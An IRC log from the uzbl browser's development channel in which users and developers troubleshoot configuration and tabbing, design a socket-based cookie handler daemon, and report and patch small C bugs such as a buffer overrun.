23:44 < senorpedro> what do i have to set it to?
23:44 < senorpedro> and how can i remove the command bar and add a scroll bar
23:45 < senorpedro> and is there a windows build available?
23:46 < bct> = 1 should work, but i've never used it so i don't have any more advice about that
23:46 < senorpedro> doesnt work herer
23:46 < senorpedro> -r
23:46 < bct> there's a setting to hide the status bar, i think it's bound to t in the default config
23:46 < bct> there's no way to turn on a scroll bar yet.
23:46 < scj> windows build; doubt there ever will be one
23:46 < bct> and afaik nobody's done windows.
23:46 < bct> yup.
23:47 < senorpedro> why not windows? webkit's available there and its the biggest market
23:47 < scj> the people who are interested in uzbl are generally not using windows
23:48 < senorpedro> well me neither
23:48 < bct> probably a small patch to get it working on windows would be accepted
23:48 < bct> but nobody working on it cares enough to make the effort.
23:48 < senorpedro> i understand
23:48 < scj> uzbl is a niche browser
23:49 < senorpedro> well its good to make webapps look and behave like desktop-apps
23:49 < senorpedro> but for that i need to get the always_insert_mode to work
23:51 < scj> senorpedro: set reset_command_mode = 0, set always_insert_mode = 1
23:51 < scj> I can't get out of insertmode once I've entered it
23:53 < senorpedro> doesnt work
23:54 < scj> does for me
23:54 < senorpedro> thats what my config looks like http://nopaste.info/f63075c3aa.html
23:54 < senorpedro> how old is your uzbl build?
23:55 < senorpedro> i start uzbl with "uzbl -c gmail.config"
23:55 < senorpedro> gmail.config is the config pasted aboce
23:55 < senorpedro> above
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23:57 < scj> looks like there's a bit of a bug
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23:58 < scj> always_insert_mode doesn't actually mean that uzbl starts in insert_mode
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00:02 < senorpedro> not?
00:02 < senorpedro> thats what the FAQ is saying
00:03 < scj> file a bug
00:03 < scj> because you are right, it's not the expected behaviour
00:03 < senorpedro> ok
00:03 < senorpedro> can you reproduce it?
00:04 < scj> yes
00:04 < senorpedro> ok i file
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00:21 < lwithers> anyone know of a nice password manager thing sort of like kwallet or gnome-keyring but that I can use from the commandline/scripts? i.e. something I can use from formfiller.sh ?
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04:40 < fcaballero> hi
04:41 < fcaballero> how i do to use the uzbl_tabbed interface?
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04:45 < fcaballero> i want to try it but i dont know how is the basic config
04:56 < fcaballero> oh, im stupid
04:58 < fcaballero> k, i think i need to sleep a while :P
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07:56 < xaxes> hey there
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08:46 < ruskie> hmm am I right to assume that uzbl doesn't directly link to libXt
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09:05 < Dieterbe_> morning
09:06 < ruskie> lo
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09:35 < rob|> morning.
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10:52 < bob_f> Mourning.
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11:09 < Dieterbe_> o_O
11:11  * lwithers knows the day is off to a bad start when it starts in the morning
11:11 < ruskie> :)
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12:19 < noisetonepause> mourning!
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12:20 < holizz> Good moaning.
12:34 < Dieterbe_> good mooning
12:35 < noisetonepause> Dieterbe_: no! think of the children!
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13:45 < rob|> so i pushed a first attempt at custom vars, you can find it on http://github.com/robm/uzbl/tree/custom-vars  - it is somewhat broken currently, maybe anyone can find the presumably free() issue in there..
13:46 < rob|> s/anyone/someone/
13:46 < rob|> try:  set myvar = foobar
13:46 < rob|> and then: set status_message = @myvar
13:47 < mason-l> Awesome news rob| :)
13:50 < rob|> it breaks only if you try to assign custom vars to uzbl vars with TYPE_STR
13:58  * Dieterbe_ waits for someone to mention j********* or p***** config files
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14:11 < Dieterbe> now we just needs misc event handlers (eg do something on uzbl startup) and fork/exec-less handlers (eg cookie handler) and uzbl will be much better again
14:13 < xaxes> hey ;;)
14:13 < xaxes> are there any known fix-arounds, if uzbl-tabbed doesnt work?
14:16 < Dieterbe> yes, the fixaround is this: make it work
14:17 < Phillemann> You could also use Javascript config files, which would render your custom work useless. :P
14:18 < Phillemann> scnr
14:18 < Dieterbe> depends on how you define "your work". if "your work" means "having a very simple and lightweight config language" then i would say: you're wrong !
14:20 < Phillemann> Isn't Javascript already included in WebKit? Or can't you use that?
14:22 < xaxes> Dieterbe: of course, just thought there is a well-known problem that cause the nonworking of tabbing :d
14:23 < Dieterbe> most people seem to get it working without problems.  maybe a few small usability issues and such, but the tabs themselves should work
14:24 < xaxes> Dieterbe: I tried the config from a friend, but also no working
14:25 < Dieterbe> dunno mate. can't help you
14:25 < Dieterbe> use WM tabs like real men :P
14:27 < mason-l> xaxes, I can help!
14:27  * mason-l just got home. 
14:28 < mason-l> xaxes, Run ./uzbl_tabbed.py from the command line and tell me what output you see
14:28 < mason-l> It could be as simple as not having pygtk installed.
14:29 < xaxes> Dieterbe: wmii isnt good to tab :P
14:29 < xaxes> http://paste.frubar.net/10871
14:29 < xaxes> @ mason-l
14:29 < Phillemann> Is there _any_ WM that is good at tabs?
14:30 < Phillemann> xmonad isn't, either.
14:30 < xaxes> musca isnt good too
14:30 < mason-l> xaxes, Did you rename uzbl_tabbed.py yourself? What version are you using?
14:30 < xaxes> I renamed it by myself, and got the latest version yesterday evening
14:31 < xaxes> I only copied the source from the uzbl wiki
14:31 < xaxes> copy and paste
14:31 < mason-l> Ahhhhhh.
14:31 < mason-l> Thats the old version :P
14:31 < xaxes> muhaha :D
14:31 < mason-l> I link you to the direct download
14:31 < xaxes> :) thx man
14:32 < mason-l> http://github.com/mason-larobina/uzbl/raw/a10aeff77406e87cec11cc719e9680f46312faf7/examples/data/uzbl/scripts/uzbl_tabbed.py
14:33 < mason-l> Very latest version, optimal for fault finding, awesome new features added within the last few days also.
14:34 < Dieterbe> xaxes: that's true :( if only wmii would support tabbing properly and support ewmh it would be perfect=
14:35 < Dieterbe> mason-l: maybe you should remove the code from the wiki page and point to your/my git repo
14:36 < mason-l> http://www.uzbl.org/wiki/uzbl_tabbed - Its like I've completely hi-jacked the page then.
14:37 < mason-l> I guess the download section isnt that obvious.
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14:41 < mason-l> Dieterbe, Are cookie requests blocking?
14:41 < Dieterbe> yes
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14:43 < mason-l> Ok, I might get back to you then. I'm going to have a shot at writing my own cookie script.
14:47 < mason-l> xaxes, Is uzbl_tabbed.py working for you now?
14:48 < Dieterbe> mason-l: did you see the work of lwithers ?
14:48 < xaxes> mason-l: gonna test it later.. have some other problems atm.. but thanks anyway.. gonna report you latr
14:48 < xaxes> afk
14:48 < mason-l> Dieterbe, Is lwithers chris.mason@oracle.com ?
14:49 < Dieterbe> mason-l: i don't think so
14:49 < Dieterbe> he sent some patches to the ML yesteray and before
14:49 < mason-l> Oh, I'm reading his attempt at the cookie handler on the uzbl-dev mailing list.
14:49 < Dieterbe> the socket stuff is the way to go
14:50 < mason-l> Ohhh, yes I see now.
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15:14 < lwithers> no lwithers is l@lwithers.me.uk or www.lwithers.me.uk
15:14 < mason-l> lwithers, :)
15:14 < lwithers> Chris Mason is the guy who is also doing the btrfs filesystem
15:14 < mason-l> Nice.
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15:24 < Dieterbe> hey that's cool indeed
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15:44 < mason-l> Dieterbe, Do you recall that shell command for orphaning a process when launched from the shell? It was some word you put after the "./myscript & release" or something.
15:44 < mason-l> put after the & I meant to say.
15:46 < mason-l> I think it was disown? (it seems to work).
15:46 < Dieterbe> hmm no idea. maybe 'nohup' but that goes before the command afaik
15:46 < Dieterbe> ah yes, maybe disown
15:46 < Phillemann> Yes, disown it was.
15:47 < Phillemann> mason-l: In bash you can also do ./command & exit
15:47 < Phillemann> Well...maybe that's not bash dependant but terminal dependant, I don't know.
15:48 < mason-l> I don't know how well supported disown is, hopefully its not just some bash magic.
15:48 < Dieterbe> i think the terminal doesn't have anything to do with it
15:50 < bct> hey lwithers , how do you signal on the socket that there are no cookies for the page that was requested?
15:52 < lwithers> bct: just close it I guess
15:52 < bct> oh. good point.
15:52 < bct> anyhow, i've got half a cookie handler that works with talk_to_socket
15:53 < bct> it does GET but not PUT (which is ok if you already have a cookies.txt somewhere).
15:55 < Dieterbe> how did you implement it? i'm wondering, since we'll try to make the talk_to_socket stuff generic, how we can easily make handlers even in plain sh/bash/.. that work with the socket stuff
15:56 < mason-l> Dieterbe, So whats this new talk_to_socket stuff?
15:56 < bct> in ruby, with sockets.
15:56 < Dieterbe> mason-l: uzbl can talk to external handlers through a socket. instead of spawning a new process everytime, we have them running in the background and listening on a socket
15:57 < Dieterbe> mason-l: see emails from lwithers 
15:57 < lwithers> talk_to_socket is like spawn_sync or sh_sync, except that
15:57 < lwithers> it doesn't start a new process and communicate with stdin/stdout
15:57 < mason-l> Dieterbe, I saw those but I don't like that I have to launch them manually before staring uzbl to get cookies working.
15:57 < bct> there may be some shell trickery that you could use with an app for reading/writing to the socket.
15:57 < lwithers> it connects to an existing socket and reads/writes on that
15:57 < bct> http://github.com/bct/uzbl-config/blob/98587db30f41e25101b9e0206abf8df53ab390d5/scripts/cookies-socket.rb
15:57 < lwithers> shell scripts cannot use sockets directly (at least not to my knowledge) though
15:58 < Dieterbe> mason-l: start manually? i don't think we made up our minds yet how exactly they will be spawned but surely you're clever enough to know you won't need to litereally launch them "manually"
15:59 < Dieterbe> either you'll use .xinitrc/xdg autostarting/ bash alias/wrapper script/.... or uzbl will start the handler itself if it sees the socket doesn't exist
15:59 < mason-l> Dieterbe, "or uzbl will start the handler itself if it sees the socket doesn't exist" have you thought about how you are going to implement that?
15:59 < lwithers> I have -- it would be trivial
16:00 < lwithers> change the error path in talk_to_socket() so that, instead of just exiting, it starts a daemon you can configure alongside the handler
16:00 < Dieterbe> mason-l: yes
16:00 < lwithers> and then retry
16:00 < lwithers> the implementation is easy, getting the "interface" (how we use/configure it) right is hard
16:00 < lwithers> so any suggestions people have are most welcome :^)
16:01 < Dieterbe> lwithers: you think? what about : talk_to_socket <socketname> <process to spawn>, am i missing something?
16:01 < mason-l> Dieterbe, lwithers: So something like: cookie_daemon = '/path/to/daemon/script.py' cookie_daemon_socket = "/tmp/cookiedaemonsocket"   ?
16:01 < lwithers> Dieterbe: yes that's ok, mason-l: yes that's ok too, pick one :P
16:02 < mason-l> I'm not biased or anything but I prefer mine.
16:03 < Dieterbe> mason-l: as long as you meant those as 2 separate commands, fine by me
16:03 < mason-l> And when uzbl detects the cookie_daemon_socket doesnt exist it launches cookie_daemon (with disown), blocks for a number of milliseconds while the socket is created then executes the request.
16:03 < mason-l> Dieterbe, Yes exactly.
16:04 < Dieterbe> uzbl is written in C, not in bash :)
16:04 < lwithers> mason-l: well we wouldn't launch the daemon through shell
16:04 < bct> i think the only way to sh reading/writing on the socket is to have a wrapper in another language.
16:04 < lwithers> bct: yes
16:04 < mason-l> Dieterbe, You would still need to disown it or the daemon would be blocking.
16:04 < lwithers> you need to use FIFOs if you want to go through the shell
16:04 < lwithers> mason-l: no, that's not how it works
16:04 < mason-l> lwithers, Its not?
16:04 < Dieterbe> mason-l: i know what you mean, but i think you're using bash-specific terminology
16:05 < lwithers> no, a daemon daemonises itself generally speaking
16:05 < mason-l> Sorry guys.
16:05 < lwithers> like, if you want to start the dhcpcd client, you run 'dhcpcd eth0'
16:05 < lwithers> it does some stuff, then it daemonises and detaches
16:05 < lwithers> and you're left back at the shell
16:05 < lwithers> but dhcpcd is now running under init, not under your shell
16:05 < lwithers> so you can log out and it will still run
16:05 < lwithers> that's done in the dhcpcd C code
16:05 < mason-l> So the detaching is going to be happening on the script end?
16:06 < lwithers> (it's basically if(fork()) exit(); setsid(); but with more:)
16:06  * Dieterbe driving home. see you guys soon
16:06 < lwithers> mason-l: yes, except I doubt you'd point it at a script, it would be an executable
16:07 < mason-l> lwithers, ... by all means dont make it impossible to do so.
16:07 < mason-l> I can say with confidence that I will be using a python script as my socket daemon.
16:07 < lwithers> mason-l: aah you are confusing
16:07 < lwithers> mason-l: 'script' == 'shell script'
16:07 < lwithers> mason-l: .py file == executable
16:08 < lwithers> mason-l: in python you can do the same thingk with the fork and setsid to make it a daemon, I think holizz did it the other night for something else
16:08 < lwithers> but it definitely works properly
16:08 < lwithers> using a python script would work exactly as desired
16:09 < mason-l> Easily done: http://code.activestate.com/recipes/66012/
16:11 < bct> so lwithers, what kind of response is expected to a PUT?
16:12 < mason-l> With these recent revelations I'd better stop working on my self-daemonising cookie handler.
16:12 < lwithers> bct: it's ignored, you can just close the socket
16:12 < bct> cool.
16:18 < mason-l> Dieterbe, How are the cookie arguments going to be separated when sent to the socket?
16:18 < bct> it was definitely faster than the spawn handler i've got, but it still seems a bit slow.
16:18 < mason-l> @lwithers
16:19 < bct> i wasn't doing any scientific timing though, so that could have been caused by any number of things.
16:19 < bct> mason-l, right now they're delimited with 's
16:19 < bct> i think the plan is to move to null-separated.
16:20 < lwithers> yes, at present uzbl passes the following C string to the shell or socket internal callback:
16:21 < lwithers> GET 'foo' 'bar' 'baz'
16:21 < lwithers> that's a single C string
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16:21 < lwithers> what we'd *like* to do is get it to pass separate C strings without the quotes
16:21 < bct> oh, that's null-terminated too?
16:21 < bct> i guess it's kind of irrelevant if it's the only thing in the packet.
16:21 < lwithers> bct: yes but the null won't be written over the socket IIRC
16:22 < bct> ah.
16:23 < lwithers> bct: if you want the null, change the line that says 'cmd_len = strlen(cmd);' to be 'cmd_len = strlen(cmd + 1);'
16:23 < lwithers> once uzbl passes us separate, unquoted C strings then we'll probably write them in a single packet separated by nulls
16:23 < lwithers> as this form is unambiguous about whitespace/quoting/escaping
16:24 < lwithers> (and coincidentally very easy to work with, at least in C :)
16:25 < lwithers> I haven't done the separate strings thing yet because quite a lot of tidy up is needed and I wanted to see if talk_to_socket was even the right approach
16:25 < mason-l> By null do you mean \0 ?
16:25 < lwithers> yes
16:26 < bct> but what if i want to send IEEE floats in a cookie?
16:26 < bct> :'(
16:27 < lwithers> cookies can't have nulls in them
16:27 < lwithers> but there's no reason the server couldn't base64 encode them
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16:28 < bct> too inefficient, every byte is critical.
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16:28 < lwithers> that's a shame, you better take that up with http://curl.haxx.se/rfc/cookie_spec.html then :P
16:28 < bct> (i'm not serious)
16:28 < lwithers> :)
16:29 < bob_f> lwithers: I'm going to try to find some time to do the cookie socket stuff tonight.
16:29 < bob_f> My weekend is booked so tonight is the only chance I'll get until next week.
16:29 < bob_f> Or Sunday evening.
16:29 < lwithers> ok cool
16:30 < bob_f> Please ping me about it in a few hours.
16:30 < bob_f> I have a terrible memory. :)
16:30 < lwithers> sure thing :)
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16:57 < Dieterbe> back
17:05 < rob|> hrrrmmmm, this bug is strange
17:06 < Dieterbe> the STR custom var one?
17:06 < rob|> yep
17:06 < rob|> i can't reproduce it every time
17:06 < lwithers> valgrind it
17:07 < rob|> yeah, i guess that's the last resort
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17:27 < rob|> ok, i guess i got it
17:28 < rob|> so, any testing welcome. i'll write a pull request when i get an ok from some people
17:29 < rob|> http://github.com/robm/uzbl/tree/custom-vars
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18:01 < rob|> i guess scripts/extensions should use some scheme to denote their namespace when using custom vars, like namespace_variable_name -> tabbed_tab_colours = foo bar
18:02 < rob|> oh, vars can have names containing any of [a-zA-z0-9_]
18:08 < Phillemann> So 100 is a valid varaible name? :D
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18:19 < rob|> Phillemann: no, i meant any of those in any combination
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18:42 < mkltastic> Is webkit able to handle these html5 demos (dailymotion etc)?
18:43 < mkltastic> I tried dailymotion (with firefox-3.5 user agent string) and uzbl crashed: GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'
18:44 < mkltastic> user agent string: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1
18:44 < mkltastic> url: http://www.dailymotion.com/openvideodemo
18:47 < mkltastic> Oh I see this appears to be a known bug
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18:53 < barrucadu> Hi
18:54 < Dieterbe> rob|: that reminds me. some people were saying your "character blacklist" contains some utf8 (multibyte characters) which gives problems when a single byte character appears with the same value of the first byte of the utf8 one.  so i suggest using a variablename character whitelist instead of a blacklist
18:54 < Dieterbe> barrucadu: hello
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18:55 < xaxes> mason-l: can you give me the link to the uzbl tabbed again?
18:59 < xaxes> got it
19:00 < xaxes> mhh not :D
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19:26 < xaxes> Dieterbe, mason-l, thx for help, tabbing works
19:27 < Dieterbe> xaxes: i didn't do shit to help you
19:27 < Dieterbe> but thanks for thanking me i guess
19:28 < xaxes> k
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19:40 < xaxes> am I able to bind switching between tabs to "ALT + $number"?
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20:15 < xaxes> mhh.. the hint chars/numbers are often behind other elements.. fix-arounds?
20:17 < holizz> xaxes, 1. I don' think you can bind to Alt+key in uzbl_tabbed. mason-l should know. 2. Maybe you could fix the script - maybe you could set the z-index of the hint.
20:18 < xaxes> mhh.. other problems with hints: not all links got hinted =\
20:18 < xaxes> mhh.. sad
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20:47 < lwithers> bob_f: ping re talk_to_socket
20:47 < lwithers> going out back in 3hrs
20:48 < bob_f> lwithers: Ah yes, thanks. :)
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20:59 < gentooer> any suggestions on a good tiling wm that works well with uzbl?
21:00 < Dieterbe> xmonad
21:00 < L29Ah> ion3, wmii
21:00 < gentooer> Dieterbe, do need to know much haskell to get it work nicely?
21:01 < bct> any of them should be fine, i switched to xmonad from wmii because it has tabs.
21:01 < gentooer> I looked at ion3 but it seems the developer hates open source and is moving to windows :(
21:02 < gentooer> ok i'll probably check out xmonad
21:02 < bct> gentooer, you don't really need to know haskell.
21:02 < L29Ah> bct: i have switched from xmonad to wmii recently :)
21:02 < bct> knowledge of the syntax might help.
21:02 < L29Ah> and now want some tabs :)
21:02 < gentooer> any thoughts on ratpoison?
21:02 < Dieterbe> gentooer: i guess. never used it myself
21:03 < Dieterbe> L29Ah: there are none in wm3.. only the stacked layout
21:03 < holizz> gentooer, I used ratpoison for a while. Pretty good.
21:03 < Dieterbe> ughm.. wm3 is a very weird typo for wmii
21:04 < L29Ah> i'm using stacked now, but i hope to google out/write tabbed layout
21:04 < L29Ah> or switch to dwm and write it there
21:04 < holizz> Although I use awesome ATM.
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21:13 < bob_f> holizz: Hey.
21:13 < bob_f> I added your cookies.py stuff into my daemon stuff.
21:16 < holizz> bob_f, Cool. Was your daemon thing based on my previous cookies.py?
21:17 < bob_f> holizz: Yup.
21:17 < bob_f> The new one is much much nicer. :)
21:19 < holizz> bob_f, Yeah. I was a complete idiot. I don't know why I forgot about the fact that I could just instantiate the existing classes.
21:20 < bob_f> Shit happens. :)
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04:40 < mason-l> "<holizz> xaxes, 1. I don' think you can bind to Alt+key in uzbl_tabbed. mason-l should know. 2. Maybe you could fix the script - maybe you could set the z-index of the hint." If uzbl can bind the alt key then uzbl_tabbed can.
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07:33 < xaxes> mason-l: is "uzbl" able to bind the alt-key? ;)
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07:58 < mkltastic> Hi! Is it currently possible to bind the space key?
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09:44 < Dieterbe> good morning bitches
09:44 < Dieterbe> mkltastic: no
09:45 < holizz> Guten morgen.
09:45 < mkltastic> Dieterbe: Thanks. Btw I'm using uzbl as my primary browser for two days now. With cookies disabled, it is quite usable, speedwise.
09:45 < Dieterbe> L29Ah: if you figure out how to get something like tabs working in wmii, be sure to let me know :)
09:46 < Dieterbe> mkltastic: yeah, cookie handler is the achilles heel of uzbl performance wise. but that will change soon
09:46 < mkltastic> Dieterbe: I've read about a daemon solution. What's the plan? Or maybe a cookie handler in C?
09:48 < Dieterbe> the plan is to have a handler running for undetermined amount of time and communicate wit it through a socket
09:50 < mkltastic> You mean it's a short-lived background process?
09:50 < mkltastic> No daemon?
09:51 < Dieterbe> no, one that will run for a long time
09:51 < Dieterbe> you could call it a deamon i guess. that's just semantics
09:51 < mkltastic> okay.
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09:54 < mkltastic> Another question: are there plans for caching? Does webkit already do caching? It doesn't seem so. Following the Unix philosophy it would be reasonable to use some external tool, like polipo. Any experiences with that?
09:55 < mkltastic> using polipo would also enable ad-blocking
09:59 < Dieterbe> yes, something like that is the goal. i think right now webkit does caching, but not persistent
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10:18 < rob|> morning.
10:22 < Dieterbe> hello rob| 
10:22 < Dieterbe> 18:54:18 < Dieterbe> rob|: that reminds me. some people were saying your "character blacklist" contains some utf8 (multibyte characters) which gives problems when a single byte character appears with the same value of the first byte of the utf8 one.  so i suggest using a  variablename character whitelist instead of a blacklist
10:23 < rob|> hmm, yeah. that would invert the logic of parts of the parser, though
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11:01 < rob|> i guess we need a refresh_statusbar command
11:02 < rob|> otherwise useful things like 'set status_format = ... \@a \@b \@c' where a, b, c are custom vars won't work as expected
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11:07 < rob|> or even a way to hook custom vars to any of our callybacks
11:08 < Dieterbe> which things where users can use custom vars need updating? only UI things i think (window title and statusbar), so isn't enough to just call update_title() (which handles both) after a custom var is changed?
11:09 < rob|> on every custom var? i guess that would be pretty wasteful
11:10 < rob|> though, with a syntax that allows for hooking uzbl would integrate pretty smoothly into the API idea. like being able to hook vars to 3rd party functions
11:11 < Dieterbe> okay you lost me
11:12 < rob|> e.g.: 'uri' could be hooked to a function check_blacklist_and_load()
11:12 < rob|> that function is provided as a plugin/module
11:14 < Dieterbe> okay..
11:15 < Dieterbe> ah, so it would be up to the user to pick the appropriate callback function, that's what you meant?
11:15 < rob|> the syntax could be something like this:  set myvar:callback = value  - where ':callback' is optional
11:15 < Dieterbe> uhu
11:15 < scj> so, functions essentially?
11:15 < rob|> we would still provide the current set of default callback but the user can rebind if needed
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11:55 < rob|> so, added an 'update_gui' command for now.
11:56 < rob|> this should finally solve the problem with status_message overwriting, etc.
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12:08 < rob|> set status_format = @status_format \@time
12:09 < rob|> while :; do echo -e "set time =$(date +'%H:%M:%S')\nupdate_gui" > /tmp/uzbl_fifo_XXXXX; sleep 1; done
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12:19 < Dieterbe> rob|: didn't we abuse our update_title to be basically be a update_gui ?
12:20 < rob|> well, sort of
12:20 < rob|> it updated the title and statusbar
12:20 < rob|> *updates
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13:09 < helmut> hi. uzbl rocks.
13:09 < helmut> I'm not ready to switch right now, but I'll probably manage some day.
13:11 < rob|> hey
13:13 < helmut> I'm basically waiting for official debian packages, because otherwise I'd probably package it myself.
13:23 < helmut> to implement something like greasemonkey (firefox) one would be using a proxy, right?
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13:36 < Dieterbe> helmut: no. greasemonkey is clientside scripting. i think we support it sort of. maybe scj knows more
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15:14 < ruskie> hmm http://sourceforge.net/projects/mpg123/ <-- does anyone see any ads here with uzbl?
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15:15 < ruskie> or any other sf project at that
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15:19 < lwithers> ruskie: yes I see them there
15:19 < lwithers> well, just one, in the right-hand column towards the top
15:20 < ruskie> yeah that's really the only one
15:20 < ruskie> odd I don't
15:20 < ruskie> I wonder why
15:21 < ruskie> hmm could be js disabled... atleast stuff like javascript: links don't seem to want to open
15:22 < ruskie> though other stuff I would guess are ajax do work
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15:30 < lwithers> well, at present my uzbl isn't loading any images from wikipedia
15:30 < lwithers> my initial suspicion is that I've managed to break one of the underlying libraries somehow
15:30 < lwithers> as I'm using gentoo I might have turned the wrong USE flag off or something
15:31 < lwithers> I haven't noticed any broken javascript but then I'm not a visitor of JS-heavy sites
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15:35 < ruskie> neither am I
15:35 < ruskie> infact I find it odd that it wouldn't be working
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16:47 < mason-l> lwithers, Want to compare USE flags?
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17:08 < helmut> uzbl forks quite a lot...
17:09 < helmut> (well this is probably the history and cookie handler as already stated by Dieterbe)
17:10 < helmut> I wonder whether employing a scripting language (like lua) would go against the the unix philosophy (that means: I am not sure about an answer).
17:11 < mason-l> Its been discussed.
17:11 < helmut> can I read up?
17:11 < mason-l> Yeah I think you can: http://www.uzbl.org/irc-log
17:11 < helmut> thanks!
17:11 < mason-l> Search for the keywords lua and javascipt config
17:12 < lwithers> helmut: we are also working on a socket-based approach for handlers, which would allow e.g. cookie handling with no forks
17:12 < mason-l> lwithers, Cant wait.
17:12 < helmut> lwithers: I heared rumors. does that also apply for history?
17:13 < lwithers> helmut: yes, although nobody is working on it yet; however talk_to_socket() is a generic handler function
17:13 < helmut> ah.
17:13 < helmut> lwithers: so it could also be used for adblocking for instance?
17:14  * ruskie uses DNS for adblocking
17:14 < lwithers> helmut: yes, but again somebody would need to write the functionality since all we've got atm is a generic handler
17:14 < ruskie> and if that fails a low-level privoxy or bfilter scrub will do as well
17:14 < lwithers> I expect adblocking could be done through the scheme_handler stuff that someone was working on
17:14 < lwithers> (sorry forgot who)
17:15 < ruskie> iirc holliz??
17:15 < lwithers> could well have been :)
17:15 < helmut> well I wonder if adding a sockethandler here, then there and at another place isn't also creating bloat.
17:16 < ruskie> it's not about bloat :)
17:16 < lwithers> helmut: look at the C code for talk_to_socket(), it really isn't that much
17:17 < lwithers> from practical experience I'd say a callout to an efficient daemon via a socket won't add any appreciable overhead
17:17 < helmut> lwithers: that's not upstream, where?
17:17 < lwithers> helmut: oh yes, sorry, git://lwithers.me.uk/uzbl
17:18 < lwithers> I should probably set up a github account
17:19 < helmut> no need
17:19 < ruskie> lol
17:19 < ruskie> not really
17:19 < helmut> lwithers: you should probably make the 0.5s timeout configurable
17:19 < ruskie> pointless actually if you don't mind admining it yourself
17:20 < lwithers> helmut: could do, but it's another knob to twiddle and I don't see any actual need for it to be tuned
17:20 < lwithers> however if people want it configurable then it could easily be done
17:20 < ruskie> well what if you have a not-so-efficient daemon?
17:21 < lwithers> but first I think we need to decide if the socket is the right approach or not
17:21 < helmut> lwithers: on slow and swapping machines it might be too low and uzbl is actually usable on those machines.
17:21 < lwithers> ruskie: then you will kill usability because uzbl will be sat blocking waiting for the daemon
17:21 < lwithers> s/the socket/the current talk_to_socket() implementation/
17:22 < ruskie> lwithers, doubtfull
17:22 < lwithers> seriously, if your cookie handler takes > 0.5s to return, you will be in trouble
17:22 < ruskie> make it twiddable ;)
17:22 < lwithers> since every item that an HTTP GET is sent for results in a call to the cookie handler
17:26 < helmut> lwithers: if your cookie handler is swapped out and you open a window it may take that time to swap it in initially. it runs fast afterwards. no problem.
17:26 < lwithers> I'd quite like to verify the approach before worrying about the implementation details though?
17:26 < helmut> ack
17:27 < helmut> are there alternatives?
17:27 < lwithers> yes
17:27 < lwithers> cookie handling could be done direct in uzbl.c
17:27 < lwithers> but I don't think we like that one
17:27 < lwithers> it could stay as it is now
17:27 < ruskie> no thanks
17:27 < helmut> actually one should already be able to do this via json rpc in javascript, right?
17:27 < lwithers> but with a more efficient script/C program being launched
17:28 < lwithers> we could use the sockets in a different manner
17:28 < helmut> for instance keep it open
17:28 < lwithers> and probably there are other ways it could be done too
17:29 < lwithers> helmut: yes, though I think that's probably a minor optimisation for later
17:29 < helmut> lwithers: I don't know whether it would really improve that much.
17:29 < lwithers> well indeed
17:29 < lwithers> it also complicates error handling some
17:30 < helmut> right.
17:30 < lwithers> and the daemon can't get away with things like writing two packets etc.
17:30 < helmut> should the json rpc thingy work already?
17:30 < lwithers> (I mean two packets in response; at the moment the second would be ignored)
17:30 < lwithers> no idea, about that, sorry :)
17:30 < helmut> ok, but I can invoke javascript on the handlers, right?
17:31 < lwithers> erm... maybe? :P    (I really don't do javascript at the moment...)
17:31 < ruskie> I think so
17:31 < lwithers> actually yes
17:31 < lwithers> the middle-click example uses javascript
17:31 < lwithers> in a handler
17:31 < helmut> uhm. segfault
17:32 < lwithers> gdb / valgrind
17:32 < helmut> very deep in webkit
17:32 < lwithers> :-(
17:32 < helmut> I'd bet that valgrind does not produce *any* usable results with webkit.
17:33 < lwithers> it may not, also has anyone sorted out the valgrind throwing up 1000 false positives with glibc 2.10 thing yet?
17:34 < helmut> expand has buffer overruns
17:34 < lwithers> ?
17:34 < lwithers> oh in uzbl.c?
17:34 < helmut> yes
17:34 < lwithers> should be easy to fix I hope?
17:34 < helmut> char str_end[2]; and you do strcpy(str_end, ")@");
17:34 < helmut> easy. increase by one
17:34 < lwithers> oops, yeah
17:34 < lwithers> good spot
17:35 < lwithers> make a patch :)
17:35 < helmut> and do what with it?
17:35 < ruskie> or make a git clone and publish that
17:35 < helmut> (and I'm not that used to git)
17:35 < lwithers> post it to the mailing list
17:35 < lwithers> patch is easy; edit the file, then do "git diff > mypatch"
17:36 < helmut> thought there was some advanced git send-patch....
17:36 < lwithers> probably there is, yes :)
17:36 < lwithers> I still like 'patch' and 'diff' though...
17:37 < helmut> http://gnarfk.homelinux.org/~helmut/uzbl_overrun.diff
17:37 < helmut> (not a stable url)
17:38 < helmut> (if you want a stable one, shout now)
17:40 < rob|> helmut: thanks, fixed in my master
17:46 < helmut> uhhh. this is quite gcc-specific code
17:48 < rob|> what?
17:49 < helmut> for instance variable length on stack arrays
17:50 < helmut> or mixing declarations at all.
17:52 < lwithers> nasty but can probably be tidied up as we go along (note talk_to_socket() doesn't do that ;)
17:53 < lwithers> not that I ever actually write C for anything other than gcc/glibc ofc
17:53 < helmut> it especially makes both splint and sparse unusable with uzbl
17:55 < lwithers> helmut: atm, there is definitely some low-hanging fruit
17:55 < lwithers> there are memory leaks in the handler code for example
17:55 < helmut> lwithers: yes, found more of that:
17:55 < lwithers> but I think only an incremental approach to tidying it up will work
17:55 < helmut> in line 2761 cmd_load_uri is called with two parameters, but it doesn't take any.
17:56 < helmut> lwithers: ack
17:58 < helmut> declarations for initialize mismatch: in uzbl.h 395 it doesn't take any parameters, but its definition uzbl.c:2629 does.
17:58 < helmut> (these are both trivial to fix, so I don't provide any patches)
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18:21 < helmut> uhm. expand has other problems...
18:21 < lwithers> yes I believe it does :)
18:22 < helmut> well as uzbl is a moving target I don't know whether fixing them is already helpful
18:22 < helmut> but these should be fixed before it goes beta
18:25 < helmut> even though I seem to be critisizing uzbl a lot at the moment I think you guys have the right focus. uzbl still does not do more that it should.
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18:56 < helmut> uhm. when one replaces the history_handler in the example config with js alert("hi"); it segfaults on amd64. using a config with just that line does not segfault. no part of the traceback is inside uzbl.c.
18:59 < mason-l> helmut, Maybe its something to do with sets being handled differently to binds. bct might be the guy to talk to.
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20:01 < scj> webkit, javascript and 64b cpu's don't seem to match
20:01 < mason-l> Mine's working fine.
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20:14 < lwithers> bob_f, Dieterbe: git://lwithers.me.uk/uzbl now delimits cookie arguments with \0 and does away with shell quoting
20:15 < lwithers> cookie packets will now look something like: "PUT\0http\0www.google.co.uk\0stuff with spaces\0" etc.
20:15 < lwithers> I think this was really the last thing needed to make the uzbl side of cookie handling good
20:15 < Dieterbe> lwithers: is that "the badly needed refactoring" of expand_args () (or whatever it was called), or is this something else?
20:16 < lwithers> no sorry :(
20:16 < lwithers> I tried that but got stuck in a quagmire of glibness
20:17 < lwithers> this only touches code inside talk_to_socket()
